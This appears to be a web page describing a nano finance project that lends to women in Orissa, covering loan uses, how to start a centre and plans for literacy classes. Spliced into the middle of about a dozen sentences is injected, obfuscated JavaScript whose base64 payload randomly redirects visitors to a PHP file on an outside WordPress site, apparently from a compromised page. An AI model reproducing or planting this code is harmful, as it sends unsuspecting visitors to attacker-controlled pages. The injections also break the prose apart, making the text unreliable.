The loan is given for small business, education, function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and emergency health care.

·       Do women get empowered through the Nano Finance Project?

This loan is only given to women to make them financially secure function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and help them to take major decisions for running the house hold.

·       How does someone start a nano finance project?

– It depends on the population function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and  funding.

– One can fix an amount depending on the financial situation function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and invest that amount to start the      project function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and roll the amount from the collection.

– A reliable person whom you can trust will be the Office Manager

– For small amount of transaction, one does not need an office space function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and it – – can be done by      one person from home.

– For large amount of transaction function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and population, an office space is required – function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and a few grass      root coordinators are needed.

·       What are my future plans for this project?

– Start a few more centers in different parts of Orissa.

– Help others to start similar centers with their own funding.

– Each center should be independently operated with its own budget, employees, function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and project    coordinator..

– If I get a grant or donation, I like to keep a fixed deposit in the bank to cover the    administrative cost for the project.

– I would like to provide a minimum health care to the clients through this project (most    difficult wish to achieve).

– I see most of the women (from urban areas) come to take loan function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and don’t know how to sign        their names. I am hoping to get women to be able to sign their names function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and would like to provide adult           literacy classes in order to get women to be functionally literate.

Nanofinance
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